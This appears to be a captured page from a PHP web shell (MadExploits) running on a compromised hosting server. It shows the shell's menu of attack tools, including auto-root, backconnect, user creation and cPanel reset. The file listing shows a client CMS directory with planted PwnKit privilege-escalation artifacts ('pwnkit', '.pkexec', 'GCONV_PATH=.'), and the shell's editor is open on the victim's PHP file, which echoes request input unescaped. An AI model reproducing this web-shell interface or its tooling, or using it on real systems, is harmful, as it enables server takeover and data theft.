Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.145.88.104
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
CMS-NEW /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
include
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
php
[ DIR ]
drwxr-xr-x
validations
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
404.php
1.5
KB
-rw-r--r--
add-keyword.php
5.24
KB
-rw-r--r--
assign-service.php
6.59
KB
-rw-r--r--
blank-page.php
486
B
-rw-r--r--
category-excel.php
2.02
KB
-rw-r--r--
category.php
5.59
KB
-rw-r--r--
change-password.php
1.87
KB
-rw-r--r--
dashboard.php
22.39
KB
-rw-r--r--
edit-profile.php
4.68
KB
-rw-r--r--
error_log
5.84
KB
-rw-r--r--
forgot-password.php
2.08
KB
-rw-r--r--
keywords.php
6.24
KB
-rw-r--r--
login.php
4.83
KB
-rw-r--r--
logout.php
194
B
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
register.php
5.98
KB
-rw-r--r--
user-excel.php
2.11
KB
-rw-r--r--
user.php
3.61
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : assign-service.php
<?php $page ="cate"; include("include/header.php"); assign_list_all('assign_list'); if($_REQUEST['id']=='') { $na = 'Add Assign Service'; $casn = base64_encode('10'); } else { $na = 'Upadte Assign Service'; $casn = base64_encode('11'); category_edit('assign_list',$_REQUEST['id']); } ?> <link href="assets/plugins/datatables-net/dataTables.bootstrap4.css" rel="stylesheet" /> <div class="page-wrapper"> <?php include("include/top-nav.php"); ?> <div class="page-content"> <div class="d-flex justify-content-between align-items-center flex-wrap grid-margin"> <div> <h4 class="mb-3 mb-md-0">Assign Service List</h4> </div> <!-- <div class="d-flex align-items-center flex-wrap text-nowrap"> <button type="button" class="btn btn-outline-primary btn-icon-text mr-2 mb-2 mb-md-0"> <i class="btn-icon-prepend" data-feather="printer"></i> Print </button> <button type="button" class="btn btn-primary btn-icon-text mb-2 mb-md-0"> <i class="btn-icon-prepend" data-feather="download-cloud"></i> Download Report </button> </div> --> </div> <div class="row"> <div class="col-md-12 grid-margin stretch-card"> <div class="card"> <div class="card-body"> <h6 class="card-title"><?php echo $na; ?></h6> <form id="myform2" name="myform2"> <div class="row"> <div class="col-sm-6"> <div class="form-group"> <select class="form-control validate[required]" name="user_id"> <option value="">Select User</option> <?php $res = mysqli_query($conn,"select * from user_details where status='1' order by name asc"); while($res1 = mysqli_fetch_array($res)) { echo '<option value="'.$res1['id'].'" '.($catr['user_id']==$res1['id']?"selected":"").'>'.$res1['name'].'</option>'; } ?> </select> </div> </div> <div class="col-sm-6"> <div class="form-group"> <select class="form-control validate[required]" name="category_id"> <option value="">Select Service</option> <?php $res2 = mysqli_query($conn,"select * from service_category where status='1' order by category_name asc"); while($res3 = mysqli_fetch_array($res2)) { echo '<option value="'.$res3['id'].'" '.($catr['category_id']==$res3['id']?"selected":"").'>'.$res3['category_name'].'</option>'; } ?> </select> </div> </div> <div class="col-sm-6"> <div class="form-group"> <input type="hidden" name="caseno" value="<?php echo $casn; ?>"> <input type="hidden" name="uid" value="<?php echo $_REQUEST['id']; ?>"> <button type="submit" class="btn btn-primary submit"><?php echo $na; ?></button> </div> </div> <div id="msg" class="col-md-12"></div> </div> </form> </div> </div> </div> </div> <div class="row"> <div class="col-md-12 grid-margin stretch-card"> <div class="card"> <div class="card-body"> <div class="table-responsive"> <table id="dataTableExample" class="table"> <thead> <tr> <th>Sr No</th> <th>User Name</th> <th>Category Name</th> <th>Status</th> <th>Action</th> </tr> </thead> <tbody> <?php if(mysqli_num_rows($cat)>0) { $i='1'; while( $cat1=mysqli_fetch_array($cat)) { echo '<tr id="del'.$cat1['id'].'"> <td>'.$i.'</td> <td>'.$cat1['name'].'</td> <td>'.$cat1['category_name'].'</td> <td id="'.$cat1['id'].'">'.($cat1['status']=='1'?'<button type="button" class="btn btn-outline-success mb-1 mb-md-0 chng_st" data-id="'.$cat1['id'].'" data-idd="'.$cat1['status'].'" >Acivate</button>':'<button type="button" class="btn btn-outline-danger mb-1 mb-md-0 chng_st" data-id="'.$cat1['id'].'" data-idd="'.$cat1['status'].'" >DeAcivate</button>').'</td> <td><a href="assign-service.php?id='.$cat1['id'].'"><i data-feather="edit" style="height: 15px; color: blue;" title="Edit"></i></a> / <i data-feather="trash" style="height: 15px; color: red;cursor: pointer;" title="Delete" class="delete" data-id="'.$cat1['id'].'"></i></td> </tr>'; $i++; } } else { echo '<tr> <td>No Data Found.</td> </tr>'; } ?> </tbody> </table> </div> </div> </div> </div> </div> </div> <?php include("include/footer.php"); ?> <script type="text/javascript"> $(document).ready(function(){ $("#dataTableExample").on("click", ".chng_st", function(){ ctr_id=$(this).data("id"); ctr_idd=$(this).data("idd"); $("#"+ctr_id).html("<img src='assets/images/c_loader_bw.gif' />"); $.post('php/',{'caseno': btoa("12"),'link':ctr_id,'status':ctr_idd}, function(data){ $("#"+ctr_id).html(data); }).fail(function(xhr, ajaxOptions, thrownError) { alert(thrownError); }); }); $("#dataTableExample").on("click", ".delete", function(){ id=$(this).data('id'); if(!confirm("Are You Sure To Delete Records")) { return false; } else { $.post('php/',{'caseno': btoa("9"),'id':id,'table':'assign_list'}, function(data){ if(data=='1') { $('#del'+id).hide(); } else { alert('Somting is wrong. Please try again.') } }); } }); }); </script>
Close